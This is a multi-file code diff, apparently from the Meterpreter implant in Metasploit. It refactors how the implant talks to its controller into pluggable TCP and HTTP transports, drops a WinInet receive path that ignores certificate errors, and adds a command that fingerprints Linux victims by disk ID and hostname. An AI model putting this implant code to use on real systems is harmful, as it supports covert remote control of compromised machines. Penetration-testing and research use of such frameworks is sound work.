vdprintf("[PACKET RECEIVE WINHTTPS] no bytes read, bailing out");
vdprintf("[PACKET RECEIVE WINHTTP] no bytes read, bailing out");
SetLastError(ERROR_NOT_FOUND);
break;
}
vdprintf("[PACKET RECEIVE WINHTTPS] bytes read: %u", bytesRead);
vdprintf("[PACKET RECEIVE WINHTTP] bytes read: %u", bytesRead);
payloadBytesLeft -= bytesRead;
}
@ -2034,217 +2012,20 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
return res;
}
#else
#endif
/*!
* @brief Windows-specific function to receive a new packet via WinInet.
* @brief Windows-specific function to receive a new packet via HTTP.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to a pointer that will receive the \c Packet data.
* @return An indication of the result of processing the transmission request.
* @remark This function is not available in POSIX.
*/
DWORD packet_receive_http_via_wininet( Remote *remote, Packet **packet )
{
DWORD headerBytes = 0, payloadBytesLeft = 0, res;
CryptoContext *crypto = NULL;
Packet *localPacket = NULL;
TlvHeader header;
LONG bytesRead;
BOOL inHeader = TRUE;
PUCHAR payload = NULL;
ULONG payloadLength;
DWORD flags;
DWORD flen;
HINTERNET hReq;
BOOL hRes;
DWORD retries = 5;
lock_acquire( remote->lock );
do
{
flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI;
if (remote->transport == METERPRETER_TRANSPORT_HTTPS) {
flags |= INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
}
dprintf("[PACKET RECEIVE] HttpOpenRequest");
hReq = HttpOpenRequestW(remote->hConnection, L"POST", remote->uri, NULL, NULL, NULL, flags, 0 );
if (hReq == NULL) {
dprintf("[PACKET RECEIVE] Failed HttpOpenRequest: %d", GetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
if (remote->transport == METERPRETER_TRANSPORT_HTTPS) {
InternetQueryOption( hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, &flen);
flags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA;
InternetSetOptionW(hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, flen);
}
hRes = HttpSendRequest(hReq, NULL, 0, "RECV", 4 );
if (! hRes) {
dprintf("[PACKET RECEIVE] Failed HttpSendRequest: %d", GetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
// Read the packet length
retries = 3;
while (inHeader && retries > 0)
{
retries--;
if (! InternetReadFile(hReq, ((PUCHAR)&header + headerBytes), sizeof(TlvHeader) - headerBytes, &bytesRead)) {
dprintf("[PACKET RECEIVE] Failed HEADER InternetReadFile: %d", GetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
// If the response contains no data, this is fine, it just means the
// remote side had nothing to tell us. Indicate this through a
// ERROR_EMPTY response code so we can update the timestamp.
if (bytesRead == 0) {
SetLastError(ERROR_EMPTY);
break;
}
headerBytes += bytesRead;
if (headerBytes != sizeof(TlvHeader)) {
continue;
} else {
inHeader = FALSE;
}
}
if (GetLastError() == ERROR_EMPTY)
break;
if (headerBytes != sizeof(TlvHeader)) {
SetLastError(ERROR_NOT_FOUND);
break;
}
// Initialize the header
header.length = header.length;
header.type = header.type;
payloadLength = ntohl(header.length) - sizeof(TlvHeader);
payloadBytesLeft = payloadLength;
// Allocate the payload
if (!(payload = (PUCHAR)malloc(payloadLength)))
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
break;
}
// Read the payload
retries = payloadBytesLeft;
while (payloadBytesLeft > 0 && retries > 0 )
{
retries--;
if (! InternetReadFile(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead)) {
dprintf("[PACKET RECEIVE] Failed BODY InternetReadFile: %d", GetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
if (!bytesRead) {
SetLastError(ERROR_NOT_FOUND);
break;
}
payloadBytesLeft -= bytesRead;
}
// Didn't finish?
if (payloadBytesLeft)
break;
// Allocate a packet structure
if (!(localPacket = (Packet *)malloc(sizeof(Packet))))
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
break;
}
memset( localPacket, 0, sizeof(Packet) );
// If the connection has an established cipher and this packet is not
// plaintext, decrypt
if ((crypto = remote_get_cipher(remote)) &&
(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
{
ULONG origPayloadLength = payloadLength;
PUCHAR origPayload = payload;
// Decrypt
if ((res = crypto->handlers.decrypt(crypto, payload, payloadLength,&payload, &payloadLength)) != ERROR_SUCCESS)
{
SetLastError(res);
break;
}
// We no longer need the encrypted payload
free(origPayload);
}
localPacket->header.length = header.length;
localPacket->header.type = header.type;
localPacket->payload = payload;
localPacket->payloadLength = payloadLength;
*packet = localPacket;
SetLastError(ERROR_SUCCESS);
} while (0);
res = GetLastError();
// Cleanup on failure
if (res != ERROR_SUCCESS)
{
if (payload)
free(payload);
if (localPacket)
free(localPacket);
}
if (hReq)
InternetCloseHandle(hReq);
lock_release( remote->lock );
return res;
}
#endif
#endif
/*!
* @brief Windows-specific function to receive a new packet via WinInet.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to a pointer that will receive the \c Packet data.
* @return An indication of the result of processing the transmission request.
* @remark This function is just a proxy which calls \c packet_receive_http_via_wininet
* @remark This function is just a proxy which calls \c packet_receive_http_via_winhttp
* and doesn't yet have a POSIX implementation.
*/
DWORD packet_receive_via_http( Remote *remote, Packet **packet )
{
#ifdef _WIN32
#ifdef USE_WINHTTP
return packet_receive_http_via_winhttp(remote, packet);
#else
return packet_receive_http_via_wininet(remote, packet);
#endif
#else
return 0;
#endif

View File

@ -99,29 +99,29 @@ typedef DWORD TlvMetaType;
*/
typedef enum
{
TLV_TYPE_ANY = TLV_VALUE(TLV_META_TYPE_NONE, 0), ///< Represents an undefined/arbitrary value.
TLV_TYPE_METHOD = TLV_VALUE(TLV_META_TYPE_STRING, 1), ///< Represents a method/function name value.
TLV_TYPE_REQUEST_ID = TLV_VALUE(TLV_META_TYPE_STRING, 2), ///< Represents a request identifier value.
TLV_TYPE_EXCEPTION = TLV_VALUE(TLV_META_TYPE_GROUP, 3), ///< Represents an exception value.
TLV_TYPE_RESULT = TLV_VALUE(TLV_META_TYPE_UINT, 4), ///< Represents a result value.
TLV_TYPE_ANY = TLV_VALUE(TLV_META_TYPE_NONE, 0), ///! Represents an undefined/arbitrary value.
TLV_TYPE_METHOD = TLV_VALUE(TLV_META_TYPE_STRING, 1), ///! Represents a method/function name value.
TLV_TYPE_REQUEST_ID = TLV_VALUE(TLV_META_TYPE_STRING, 2), ///! Represents a request identifier value.
TLV_TYPE_EXCEPTION = TLV_VALUE(TLV_META_TYPE_GROUP, 3), ///! Represents an exception value.
TLV_TYPE_RESULT = TLV_VALUE(TLV_META_TYPE_UINT, 4), ///! Represents a result value.
// Argument basic types
TLV_TYPE_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 10), ///< Represents a string value.
TLV_TYPE_UINT = TLV_VALUE(TLV_META_TYPE_UINT, 11), ///< Represents an unsigned integer value.
TLV_TYPE_BOOL = TLV_VALUE(TLV_META_TYPE_BOOL, 12), ///< Represents a boolean value.
TLV_TYPE_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 10), ///! Represents a string value.
TLV_TYPE_UINT = TLV_VALUE(TLV_META_TYPE_UINT, 11), ///! Represents an unsigned integer value.
TLV_TYPE_BOOL = TLV_VALUE(TLV_META_TYPE_BOOL, 12), ///! Represents a boolean value.
// Extended types
TLV_TYPE_LENGTH = TLV_VALUE(TLV_META_TYPE_UINT, 25), ///< Represents a length (unsigned integer).
TLV_TYPE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 26), ///< Represents arbitrary data (raw).
TLV_TYPE_FLAGS = TLV_VALUE(TLV_META_TYPE_UINT, 27), ///< Represents a set of flags (unsigned integer).
TLV_TYPE_LENGTH = TLV_VALUE(TLV_META_TYPE_UINT, 25), ///! Represents a length (unsigned integer).
TLV_TYPE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 26), ///! Represents arbitrary data (raw).
TLV_TYPE_FLAGS = TLV_VALUE(TLV_META_TYPE_UINT, 27), ///! Represents a set of flags (unsigned integer).
// Channel types
TLV_TYPE_CHANNEL_ID = TLV_VALUE(TLV_META_TYPE_UINT, 50), ///< Represents a channel identifier (unsigned integer).
TLV_TYPE_CHANNEL_TYPE = TLV_VALUE(TLV_META_TYPE_STRING, 51), ///< Represents a channel type (string).
TLV_TYPE_CHANNEL_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 52), ///< Represents channel data (raw).
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 53), ///< Represents a channel data group (group).
TLV_TYPE_CHANNEL_CLASS = TLV_VALUE(TLV_META_TYPE_UINT, 54), ///< Represents a channel class (unsigned integer).
TLV_TYPE_CHANNEL_PARENTID = TLV_VALUE(TLV_META_TYPE_UINT, 55), ///< Represents a channel parent identifier (unsigned integer).
TLV_TYPE_CHANNEL_ID = TLV_VALUE(TLV_META_TYPE_UINT, 50), ///! Represents a channel identifier (unsigned integer).
TLV_TYPE_CHANNEL_TYPE = TLV_VALUE(TLV_META_TYPE_STRING, 51), ///! Represents a channel type (string).
TLV_TYPE_CHANNEL_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 52), ///! Represents channel data (raw).
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 53), ///! Represents a channel data group (group).
TLV_TYPE_CHANNEL_CLASS = TLV_VALUE(TLV_META_TYPE_UINT, 54), ///! Represents a channel class (unsigned integer).
TLV_TYPE_CHANNEL_PARENTID = TLV_VALUE(TLV_META_TYPE_UINT, 55), ///! Represents a channel parent identifier (unsigned integer).
// Channel extended types
TLV_TYPE_SEEK_WHENCE = TLV_VALUE(TLV_META_TYPE_UINT, 70),
@ -129,28 +129,42 @@ typedef enum
TLV_TYPE_SEEK_POS = TLV_VALUE(TLV_META_TYPE_UINT, 72),
// Grouped identifiers
TLV_TYPE_EXCEPTION_CODE = TLV_VALUE(TLV_META_TYPE_UINT, 300), ///< Represents an exception code value (unsigned in).
TLV_TYPE_EXCEPTION_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 301), ///< Represents an exception message value (string).
TLV_TYPE_EXCEPTION_CODE = TLV_VALUE(TLV_META_TYPE_UINT, 300), ///! Represents an exception code value (unsigned in).
TLV_TYPE_EXCEPTION_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 301), ///! Represents an exception message value (string).
// Library loading
TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///< Represents a path to the library to be loaded (string).
TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///< Represents a target path (string).
TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///< Represents a process identifier of the migration target (unsigned integer).
TLV_TYPE_MIGRATE_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///< Represents a migration payload size/length in bytes (unsigned integer).
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///< Represents a migration payload (string).
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///< Represents a migration target architecture.
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///< Represents a migration technique (unsigned int).
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///< Represents a migration payload base address (unsigned int).
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///< Represents a migration payload entry point (unsigned int).
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///< Represents a unix domain socket path, used to migrate on linux (string)
TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string).
TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string).
TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer).
TLV_TYPE_MIGRATE_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer).
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string).
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture.
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int).
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int).
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int).
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string)
// Transport switching
TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to.
TLV_TYPE_TRANS_URL = TLV_VALUE(TLV_META_TYPE_STRING, 431), ///! Represents the new URL of the transport to use.
TLV_TYPE_TRANS_UA = TLV_VALUE(TLV_META_TYPE_STRING, 432), ///! Represents the user agent (for http).
TLV_TYPE_TRANS_COMMS_TIMEOUT = TLV_VALUE(TLV_META_TYPE_UINT, 433), ///! Represents the communications timeout (for http).
TLV_TYPE_TRANS_SESSION_EXP = TLV_VALUE(TLV_META_TYPE_UINT, 434), ///! Represents the session expiration (for http).
TLV_TYPE_TRANS_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 435), ///! Represents the certificate hash (for https).
TLV_TYPE_TRANS_PROXY_INFO = TLV_VALUE(TLV_META_TYPE_STRING, 436), ///! Represents the proxy info string (for http).
TLV_TYPE_TRANS_PROXY_USER = TLV_VALUE(TLV_META_TYPE_STRING, 437), ///! Represents the proxy user name (for http).
TLV_TYPE_TRANS_PROXY_PASS = TLV_VALUE(TLV_META_TYPE_STRING, 438), ///! Represents the proxy password (for http).
// session/machine identification
TLV_TYPE_MACHINE_ID = TLV_VALUE(TLV_META_TYPE_STRING, 460), ///! Represents a machine identifier.
// Cryptography
TLV_TYPE_CIPHER_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 500), ///< Represents the name of a cipher.
TLV_TYPE_CIPHER_PARAMETERS = TLV_VALUE(TLV_META_TYPE_GROUP, 501), ///< Represents parameters for a cipher.
TLV_TYPE_CIPHER_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 500), ///! Represents the name of a cipher.
TLV_TYPE_CIPHER_PARAMETERS = TLV_VALUE(TLV_META_TYPE_GROUP, 501), ///! Represents parameters for a cipher.
TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///< Represents an extension value.
TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///< Represents a user value.
TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///< Represents a temporary value.
TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value.
TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value.
TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///! Represents a temporary value.
} TlvType;
#ifdef _WIN32
@ -197,7 +211,7 @@ typedef struct _DECOMPRESSED_BUFFER
typedef DWORD (*PacketRequestCompletionRoutine)(Remote *remote,
Packet *response, LPVOID context, LPCSTR method, DWORD result);
typedef struct
typedef struct _PacketRequestCompletion
{
LPVOID context;
PacketRequestCompletionRoutine routine;
@ -232,6 +246,7 @@ LINKAGE DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType typ
LINKAGE DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv);
LINKAGE PCHAR packet_get_tlv_value_string(Packet *packet, TlvType type);
LINKAGE wchar_t* packet_get_tlv_value_wstring(Packet* packet, TlvType type);
LINKAGE UINT packet_get_tlv_value_uint(Packet *packet, TlvType type);
LINKAGE BYTE * packet_get_tlv_value_raw( Packet * packet, TlvType type );
LINKAGE QWORD packet_get_tlv_value_qword(Packet *packet, TlvType type);
@ -247,15 +262,11 @@ LINKAGE DWORD packet_get_result(Packet *packet);
LINKAGE DWORD packet_transmit(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
LINKAGE DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res);
LINKAGE DWORD packet_receive(Remote *remote, Packet **packet);
LINKAGE DWORD packet_receive_via_ssl(Remote *remote, Packet **packet);
LINKAGE DWORD packet_receive_via_http(Remote *remote, Packet **packet);
LINKAGE DWORD packet_transmit_via_ssl(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
LINKAGE DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
#ifdef _WIN32
LINKAGE DWORD packet_receive_via_http_wininet(Remote *remote, Packet **packet);
LINKAGE DWORD packet_transmit_via_http_wininet(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
#endif
/*!
* @brief Transmit a `TLV_TYPE_RESULT` response if `response` is present.
* @param result The result to be sent.

View File

@ -8,34 +8,41 @@
* @brief Instantiate a remote context from a file descriptor.
* @details This function takes a file descriptor and wraps it in \c Remote
* context which makes it easier to interact with the endpoint.
* @param fd File descriptor for the socket that needs to be wrapped.
* @returns Pointer to the created \c Remote instance.
* @retval NULL Indicates a memory allocation failure or a lock creation failure.
* @retval Non-NULL Successful creation of the context.
*/
Remote *remote_allocate(SOCKET fd)
Remote* remote_allocate()
{
Remote *remote = NULL;
Remote* remote = (Remote*)malloc(sizeof(Remote));
LOCK* lock = lock_create();
if ((remote = (Remote *)malloc(sizeof(Remote))))
do
{
memset(remote, 0, sizeof(Remote));
remote->fd = fd;
remote->lock = lock_create();
// If we failed to create the lock we must fail to create the remote
// as we wont be able to synchronize communication correctly.
if( remote->lock == NULL )
if (remote == NULL || lock == NULL)
{
remote_deallocate( remote );
return NULL;
break;
}
memset(remote, 0, sizeof(Remote));
remote->lock = lock;
dprintf("[REMOTE] remote created %p", remote);
return remote;
} while (0);
if (lock)
{
lock_destroy(lock);
}
return remote;
if (remote)
{
free(remote);
}
vdprintf("[REMOTE] here 3");
return NULL;
}
/*!
@ -44,47 +51,17 @@ Remote *remote_allocate(SOCKET fd)
*/
VOID remote_deallocate(Remote * remote)
{
if (remote->fd)
{
closesocket(remote->fd);
}
if (remote->lock)
{
lock_destroy(remote->lock);
}
if (remote->uri)
{
free(remote->uri);
}
// Wipe our structure from memory
memset(remote, 0, sizeof(Remote));
free(remote);
}
/*!
* @brief Override a previously set file descriptor.
* @param remote Pointer to the existing \c Remote instance.
* @param fd The new file descriptor to use for the \c Remote instance.
*/
VOID remote_set_fd(Remote *remote, SOCKET fd)
{
remote->fd = fd;
}
/*!
* @brief Get the remote context's file descriptor.
* @param remote Pointer to the \c Remote instance to get the file descriptor from.
* @returns The associated file descriptor.
*/
SOCKET remote_get_fd(Remote *remote)
{
return remote->fd;
}
/*!
* @brief Initializes a given cipher as instructed by the remote endpoint.
* @param remote Pointer to the \c Remote instance.

View File

@ -8,6 +8,67 @@
#include "crypto.h"
#include "thread.h"
#ifdef _WIN32
typedef wchar_t* STRTYPE;
#else
typedef char* STRTYPE;
#endif
// Forward declarations required to keep compilers happy.
typedef struct _Packet Packet;
typedef struct _PacketRequestCompletion PacketRequestCompletion;
typedef struct _Transport Transport;
typedef struct _Remote Remote;
typedef SOCKET(*PTransportGetSocket)(Transport* transport);
typedef BOOL(*PTransportInit)(Remote* remote, SOCKET fd);
typedef BOOL(*PTransportDeinit)(Remote* remote);
typedef void(*PTransportDestroy)(Remote* remote);
typedef BOOL(*PServerDispatch)(Remote* remote, THREAD* dispatchThread);
typedef DWORD(*PPacketTransmit)(Remote* remote, Packet* packet, PacketRequestCompletion* completion);
typedef DWORD(*PPacketReceive)(Remote* remote, Packet** packet);
typedef struct _TcpTransportContext
{
SOCKET fd; ///! Remote socket file descriptor.
SSL_METHOD* meth; ///! The current SSL method in use.
SSL_CTX* ctx; ///! SSL-specific context information.
SSL* ssl; ///! Pointer to the SSL detail/version/etc.
} TcpTransportContext;
typedef struct _HttpTransportContext
{
BOOL ssl; ///! Flag indicating whether the connection uses SSL.
STRTYPE uri; ///! URI endpoint in use during HTTP or HTTPS transport use.
HANDLE internet; ///! Handle to the internet module for use with HTTP and HTTPS.
HANDLE connection; ///! Handle to the HTTP or HTTPS connection.
unsigned char* cert_hash; ///! Pointer to the 20-byte certificate hash to validate
STRTYPE ua; ///! User agent string.
STRTYPE proxy; ///! Proxy details.
STRTYPE proxy_user; ///! Proxy username.
STRTYPE proxy_pass; ///! Proxy password.
int expiration_time; ///! Unix timestamp for when the server should shut down.
int start_time; ///! Unix timestamp representing the session startup time.
int comm_last_packet; ///! Unix timestamp of the last packet received.
int comm_timeout; ///! Unix timestamp for when to shutdown due to comms timeout.
} HttpTransportContext;
typedef struct _Transport
{
DWORD type; ///! The type of transport in use.
PTransportGetSocket get_socket; ///! Function to get the socket from the transport.
PTransportInit transport_init; ///! Initialises the transport.
PTransportDeinit transport_deinit; ///! Deinitialises the transport.
PTransportDestroy transport_destroy; ///! Destroy the transport.
PServerDispatch server_dispatch; ///! Transport dispatch function.
PPacketTransmit packet_transmit; ///! Transmits a packet over the transport.
PPacketReceive packet_receive; ///! Receives a packet over the transport.
STRTYPE url; ///! Full URL describing the comms in use.
VOID* ctx;
} Transport;
/*!
* @brief Remote context allocation.
* @details Wraps the initialized file descriptor for extension purposes.
@ -20,42 +81,31 @@
*/
typedef struct _Remote
{
HMODULE hMetSrv; ///< Reference to the Meterpreter server instance.
SOCKET fd; ///< Remote socket file descriptor.
CryptoContext* crypto; ///< Cryptographic context associated with the connection.
SSL_METHOD* meth; ///< The current SSL method in use.
SSL_CTX* ctx; ///< SSL-specific context information.
SSL* ssl; ///< Pointer to the SSL detail/version/etc.
LOCK* lock; ///< OpenSSL usage lock.
HANDLE hServerThread; ///< Handle to the current server thread.
HANDLE hServerToken; ///< Handle to the current server security token.
HANDLE hThreadToken; ///< Handle to the current thread security token.
HMODULE hMetSrv; ///! Reference to the Meterpreter server instance.
DWORD dwOrigSessionId; ///< ID of the original Meterpreter session.
DWORD dwCurrentSessionId; ///< ID of the currently active session.
char* cpOrigStationName; ///< Original station name.
char* cpCurrentStationName; ///< Name of the current station.
char* cpOrigDesktopName; ///< Original desktop name.
char* cpCurrentDesktopName; ///< Name of the current desktop.
CryptoContext* crypto; ///! Cryptographic context associated with the connection.
DWORD transport; ///< Indicator of the transport in use for this session.
wchar_t* url; ///< Full URL in use during HTTP or HTTPS transport use.
wchar_t* uri; ///< URI endpoint in use during HTTP or HTTPS transport use.
HANDLE hInternet; ///< Handle to the internet module for use with HTTP and HTTPS.
HANDLE hConnection; ///< Handle to the HTTP or HTTPS connection.
unsigned char* pCertHash; ///< Pointer to the 20-byte certificate hash to validate
Transport* transport; ///! Pointer to the currently used transport mechanism.
Transport* nextTransport; ///! Pointer to the next transport to use, if any.
int expiration_time; ///< Unix timestamp for when the server should shut down.
int start_time; ///< Unix timestamp representing the session startup time.
int comm_last_packet; ///< Unix timestamp of the last packet received.
int comm_timeout; ///< Unix timestamp for when to shutdown due to comms timeout.
LOCK* lock; ///! General transport usage lock (used by SSL, and desktop stuff too).
HANDLE hServerThread; ///! Handle to the current server thread.
HANDLE hServerToken; ///! Handle to the current server security token.
HANDLE hThreadToken; ///! Handle to the current thread security token.
DWORD dwOrigSessionId; ///! ID of the original Meterpreter session.
DWORD dwCurrentSessionId; ///! ID of the currently active session.
char* cpOrigStationName; ///! Original station name.
char* cpCurrentStationName; ///! Name of the current station.
char* cpOrigDesktopName; ///! Original desktop name.
char* cpCurrentDesktopName; ///! Name of the current desktop.
} Remote;
Remote *remote_allocate(SOCKET fd);
Remote* remote_allocate();
VOID remote_deallocate(Remote *remote);
VOID remote_set_fd(Remote *remote, SOCKET fd);
SOCKET remote_get_fd(Remote *remote);
DWORD remote_set_cipher(Remote *remote, LPCSTR cipher, struct _Packet *initializer);
CryptoContext *remote_get_cipher(Remote *remote);

View File

@ -463,7 +463,13 @@ DWORD InitServerExtension(Remote *remote)
peername4 = NULL;
peername6 = NULL;
peername_len = sizeof(peername);
getpeername(remote->fd, &peername, &peername_len);
if (remote->transport->get_socket) {
getpeername(remote->transport->get_socket(remote->transport), &peername, &peername_len);
}
else {
// TODO: not sure what to do here.
}
switch(peername.sa_family) {
case PF_INET:

View File

@ -1233,11 +1233,16 @@ DWORD InitServerExtension(Remote *remote)
peername4 = NULL;
peername6 = NULL;
peername_len = sizeof(peername);
getpeername(remote->fd, &peername, &peername_len);
if(peername.sa_family == PF_INET) peername4 = (struct sockaddr_in *)&peername;
if (remote->transport->get_socket) {
getpeername(remote->transport->get_socket(remote->transport), &peername, &peername_len);
if(peername.sa_family == PF_INET) peername4 = (struct sockaddr_in *)&peername;
dprintf("[SERVER] Getting the IPv6 peer name of our socket...");
if(peername.sa_family == PF_INET6) peername6 = (struct sockaddr_in6 *)&peername;
dprintf("[SERVER] Getting the IPv6 peer name of our socket...");
if(peername.sa_family == PF_INET6) peername6 = (struct sockaddr_in6 *)&peername;
}
else {
// TODO: not sure what to do here
}
dprintf("[SERVER] Creating a lock...");
snifferm = lock_create();

View File

@ -1,5 +1,9 @@
#include <dlfcn.h>
#include "metsrv.h"
#include <sys/types.h>
#include <dirent.h>
#include <sys/utsname.h>
#define MAX_PATH 256
extern Command *extensionCommands;
extern PLIST gExtensionList;
@ -112,3 +116,43 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
return (res);
}
DWORD request_core_machine_id(Remote* pRemote, Packet* pPacket)
{
DWORD res = ERROR_SUCCESS;
Packet* pResponse = packet_create_response(pPacket);
if (pResponse) {
char buffer[MAX_PATH];
struct dirent *data;
struct utsname utsbuf;
DIR *ctx = opendir("/dev/disk/by-id/");
if (uname(&utsbuf) == -1) {
res = GetLastError();
goto out;
}
if (ctx == NULL) {
res = GetLastError();
goto out;
}
while (data = readdir(ctx)) {
// TODO: make sure that looking for drives prefixed with "ata" is a good
// idea. We might need to search for a bunch of prefixes.
if (strncmp(data->d_name, "ata-", 4) == 0) {
snprintf(buffer, MAX_PATH - 1, "%s:%s", data->d_name + 4, utsbuf.nodename);
packet_add_tlv_string(pResponse, TLV_TYPE_MACHINE_ID, buffer);
break;
}
}
closedir(ctx);
out:
packet_transmit_response(res, pRemote, pResponse);
}
return ERROR_SUCCESS;
}

View File

@ -8,12 +8,14 @@ extern HINSTANCE hAppInstance;
PLIST gExtensionList = NULL;
DWORD request_core_enumextcmd(Remote* pRemote, Packet* pPacket);
DWORD request_core_machine_id(Remote* pRemote, Packet* pPacket);
// Dispatch table
Command customCommands[] =
{
COMMAND_REQ("core_loadlib", request_core_loadlib),
COMMAND_REQ("core_enumextcmd", request_core_enumextcmd),
COMMAND_REQ("core_machine_id", request_core_machine_id),
COMMAND_TERMINATOR
};
@ -45,6 +47,7 @@ BOOL ext_cmd_callback(LPVOID pState, LPVOID pData)
return FALSE;
}
DWORD request_core_enumextcmd(Remote* pRemote, Packet* pPacket)
{
BOOL bResult = FALSE;
@ -61,6 +64,7 @@ DWORD request_core_enumextcmd(Remote* pRemote, Packet* pPacket)
bResult = list_enumerate(gExtensionList, ext_cmd_callback, &enumExt);
packet_add_tlv_uint(pResponse, TLV_TYPE_RESULT, ERROR_SUCCESS);
packet_transmit(pRemote, pResponse, NULL);
}

View File

@ -173,7 +173,7 @@ unsigned metsrv_rtld(int fd, int options)
}
server_setup = dlsym(libs[METSRV_IDX].handle, "server_setup");
TRACE("[ metsrv server_setup is at %p, calling ]\n", server_setup);
TRACE("[ metsrv server_setup is at 0x%x, calling ]\n", server_setup);
server_setup(fd);
TRACE("[ metsrv_rtld(): server_setup() returned, exit()'ing ]\n");

View File

@ -3,11 +3,14 @@
*/
#include "metsrv.h"
#include "../../common/common.h"
#include <netdb.h>
const DWORD RETRY_TIMEOUT_MS = 1000;
char *global_meterpreter_transport =
"METERPRETER_TRANSPORT_SSL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
char *global_meterpreter_url =
